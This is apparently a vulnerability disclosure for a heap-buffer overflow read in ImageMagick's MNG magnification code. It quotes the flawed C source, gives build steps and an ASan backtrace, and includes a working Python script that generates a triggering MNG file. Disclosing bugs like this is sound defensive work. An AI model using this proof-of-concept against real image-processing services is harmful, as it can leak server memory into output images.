| summary |
imagemagick: heap-buffer overflow read in MNG magnification with alpha
## **Vulnerability Details**
When performing image magnification in `ReadOneMNGIMage` (in `coders/png.c`), there is an issue around the handling of images with separate alpha channels.
When loading an image with a color type that implies a separate alpha channel (ie. `jng_color_type >= 12`), we will load the alpha pixels in this loop:
```c
if (logging != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Reading alpha from alpha_blob.");
jng_image=ReadImage(alpha_image_info,exception);
if (jng_image != (Image *) NULL)
for (y=0; y < (ssize_t) image->rows; y++)
{
s=GetVirtualPixels(jng_image,0,y,image->columns,1,exception);
q=GetAuthenticPixels(image,0,y,image->columns,1,exception); // [0]
if ((s == (const Quantum *) NULL) || (q == (Quantum *) NULL))
break;
if (image->alpha_trait != UndefinedPixelTrait)
for (x=(ssize_t) image->columns; x != 0; x--)
{
SetPixelAlpha(image,GetPixelRed(jng_image,s),q);
q+=(ptrdiff_t) GetPixelChannels(image);
s+=(ptrdiff_t) GetPixelChannels(jng_image);
}
else
for (x=(ssize_t) image->columns; x != 0; x--)
{
Quantum
alpha;
alpha=GetPixelRed(jng_image,s);
SetPixelAlpha(image,alpha,q);
if (alpha != OpaqueAlpha)
image->alpha_trait=BlendPixelTrait; // [1]
q+=(ptrdiff_t) GetPixelChannels(image);
s+=(ptrdiff_t) GetPixelChannels(jng_image);
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
```
Note that at \[1\] we update `image->alpha_trait`, but if our alpha image only contains non-opaque pixels in the last row, we do not call `GetAuthenticPixels` (at \[0\]) after this change has been made.
The next call to `GetAuthenticPixels` will then call down into `ResetPixelChannelMap` which adds the new alpha channel to the image channel mappings and metadata.
If we then pass this image into the `MAGN` chunk type, we can see that at \[2\] we calculate the sizes for intermediate buffers `next` and `prev`, before calling `GetAuthenticPixels` at \[4\].
After the call at \[4\], the `image->num_channels` has increased to include the new alpha channel, and now `length` and the previously allocated `next` and `prev` buffers are too small. Fortunately `length` is always used when copying into the buffers, but when reading pixels from the buffers, we call `GetPixelXXX` which assumes the layout of the current image, which requires a larger allocation.
The pixel copying loop will subsequently read beyond the end of the allocation at \[5\].
```c
/* magnify the rows into the right side of the large image */
if (logging != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Magnify the rows to %.20g",
(double) large_image->rows);
m=(ssize_t) mng_info->magn_mt;
yy=0;
length=(size_t) GetPixelChannels(image)*image->columns; // [2]
next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));
prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));
if ((prev == (Quantum *) NULL) ||
(next == (Quantum *) NULL))
{
if (prev != (Quantum *) NULL)
prev=(Quantum *) RelinquishMagickMemory(prev);
if (next != (Quantum *) NULL)
next=(Quantum *) RelinquishMagickMemory(next);
image=DestroyImageList(image);
ThrowReaderException(ResourceLimitError,
"MemoryAllocationFailed");
}
n=GetAuthenticPixels(image,0,0,image->columns,1,exception); // [4]
(void) memcpy(next,n,length);
for (y=0; y < (ssize_t) image->rows; y++)
{
if (y == 0)
m=(ssize_t) mng_info->magn_mt;
else if (magn_methy > 1 && y == (ssize_t) image->rows-2)
m=(ssize_t) mng_info->magn_mb;
else if (magn_methy <= 1 && y == (ssize_t) image->rows-1)
m=(ssize_t) mng_info->magn_mb;
else if (magn_methy > 1 && y == (ssize_t) image->rows-1)
m=1;
else
m=(ssize_t) mng_info->magn_my;
n=prev;
prev=next;
next=n;
if (y < (ssize_t) image->rows-1)
{
n=GetAuthenticPixels(image,0,y+1,image->columns,1,
exception);
(void) memcpy(next,n,length);
}
for (i=0; i < m; i++, yy++)
{
Quantum
*pixels;
assert(yy < (ssize_t) large_image->rows);
pixels=prev;
n=next;
q=GetAuthenticPixels(large_image,0,yy,large_image->columns,
1,exception);
if (q == (Quantum *) NULL)
break;
q+=(ptrdiff_t) (large_image->columns-image->columns)*
GetPixelChannels(large_image);
for (x=(ssize_t) image->columns-1; x >= 0; x--)
{
/* To do: get color as function of indexes[x] */
/*
if (image->storage_class == PseudoClass)
{
}
*/
if (magn_methy <= 1)
{
/* replicate previous */
SetPixelRed(large_image,GetPixelRed(image,pixels),q); // [5]
SetPixelGreen(large_image,GetPixelGreen(image,
pixels),q);
SetPixelBlue(large_image,GetPixelBlue(image,
pixels),q);
SetPixelAlpha(large_image,GetPixelAlpha(image,
pixels),q);
}
```
This can likely be used to leak subsequent memory contents into the output image.
The attached proof-of-concept triggers this issue and is not blocked by any of the default security policies.
## **Affected Version(s)**
The issue has been successfully reproduced:
- at commit `3e37a7f15fcb1aa80e6beae3898e684309c2ecbe`
- in stable release `7.1.2-0`
### **Build Instructions**
```shell
git clone https://github.com/imagemagick/imagemagick
cd imagemagick
export CC=clang
export CXX=clang++
export CFLAGS="-fsanitize=address -O0 -ggdb"
export CXXFLAGS="-fsanitize=address -O0 -ggdb"
export LDFLAGS="-fsanitize=address -O0 -ggdb"
./configure --disable-shared --disable-docs --with-jxl
make -j
```
## **Reproduction**
### **Test Case**
This testcase is a python script that will generate an MNG file which can be used to trigger the vulnerability.
```
import struct
import zlib
def chunk(tag, data):
crc = zlib.crc32(tag + data) & 0xffffffff
return struct.pack('>I', len(data)) + tag + data + struct.pack('>I', crc)
# Simple 128x1 RGB jpeg
jpeg = bytes([
0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01,
0x01, 0x01, 0x01, 0x2c, 0x01, 0x2c, 0x00, 0x00, 0xff, 0xdb, 0x00, 0x43,
0x00, 0x03, 0x02, 0x02, 0x03, 0x02, 0x02, 0x03, 0x03, 0x03, 0x03, 0x04,
0x03, 0x03, 0x04, 0x05, 0x08, 0x05, 0x05, 0x04, 0x04, 0x05, 0x0a, 0x07,
0x07, 0x06, 0x08, 0x0c, 0x0a, 0x0c, 0x0c, 0x0b, 0x0a, 0x0b, 0x0b, 0x0d,
0x0e, 0x12, 0x10, 0x0d, 0x0e, 0x11, 0x0e, 0x0b, 0x0b, 0x10, 0x16, 0x10,
0x11, 0x13, 0x14, 0x15, 0x15, 0x15, 0x0c, 0x0f, 0x17, 0x18, 0x16, 0x14,
0x18, 0x12, 0x14, 0x15, 0x14, 0xff, 0xdb, 0x00, 0x43, 0x01, 0x03, 0x04,
0x04, 0x05, 0x04, 0x05, 0x09, 0x05, 0x05, 0x09, 0x14, 0x0d, 0x0b, 0x0d,
0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
0x14, 0x14, 0xff, 0xc0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x80, 0x03,
0x01, 0x11, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xff, 0xc4, 0x00,
0x15, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xff, 0xc4, 0x00, 0x14,
0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x11, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xff, 0xda, 0x00, 0x0c, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03,
0x11, 0x00, 0x3f, 0x00, 0xaa, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xd9
])
# MNG File Construction
mng_sig = b'\x8aMNG\r\n\x1a\n'
mhdr_data = struct.pack('>IIIIIII', 1, 1, 1, 0, 0, 0, 0)
mhdr_chunk = chunk(b'MHDR', mhdr_data)
magn_data = struct.pack('>HH B H H H H H H B', 0, 0, 1, 2, 2, 2, 2, 2, 2, 1)
magn_chunk = chunk(b'MAGN', magn_data)
jhdr_data = struct.pack('>IIBBBBBBBB', 128, 1, 12, 8, 8, 0, 8, 0, 0, 0)
jhdr_chunk = chunk(b'JHDR', jhdr_data)
jdat_chunk = chunk(b'JDAT', jpeg)
scanlines = b'\x00\x00'*128
compressed_scanlines = zlib.compress(scanlines)
idat_chunk = chunk(b'IDAT', compressed_scanlines)
iend_chunk = chunk(b'IEND', b'')
mend_chunk = chunk(b'MEND', b'')
mng_bytes = mng_sig + mhdr_chunk + magn_chunk + jhdr_chunk + jdat_chunk + idat_chunk + iend_chunk + mend_chunk
with open("magn_read.mng", "wb") as tmp:
tmp.write(mng_bytes)
```
### **Command**
```shell
python3 ./generate_testcase.py
utilities/magick ./magn_read.mng -resize 200x200 PNG:output.png
```
### **ASan Backtrace**
```
=================================================================
==1562409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51b000000680 at pc 0x557a486b0c64 bp 0x7ffe63210de0 sp 0x7ffe63210dd8
READ of size 4 at 0x51b000000680 thread T0
#0 0x557a486b0c63 in GetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10
#1 0x557a4869ce03 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:51
#2 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9
#3 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15
#4 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9
#5 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22
#6 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7
#7 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13
#8 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5
#9 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14
#10 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10
#11 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10
#12 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#13 0x7f1431833d64 in __libc_start_main csu/../csu/libc-start.c:360:3
#14 0x557a481a0790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f3790) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)
0x51b000000680 is located 0 bytes after 1536-byte region [0x51b000000080,0x51b000000680)
allocated by thread T0 here:
#0 0x557a482405c3 in malloc (/tmp/repro/imagemagick/utilities/magick+0x2935c3) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)
#1 0x557a482b9b6a in AcquireMagickMemory /tmp/repro/imagemagick/MagickCore/memory.c:559:10
#2 0x557a482b9dba in AcquireQuantumMemory /tmp/repro/imagemagick/MagickCore/memory.c:677:10
#3 0x557a4869c58c in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6584:34
#4 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9
#5 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15
#6 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9
#7 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22
#8 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7
#9 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13
#10 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5
#11 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14
#12 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10
#13 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10
#14 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 in GetPixelRed
Shadow bytes around the buggy address:
0x51b000000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x51b000000480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x51b000000500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x51b000000580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x51b000000600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x51b000000680:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x51b000000700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x51b000000780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x51b000000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x51b000000880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x51b000000900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1562409==ABORTING
```
## **Reporter Credit**
Google Big Sleep |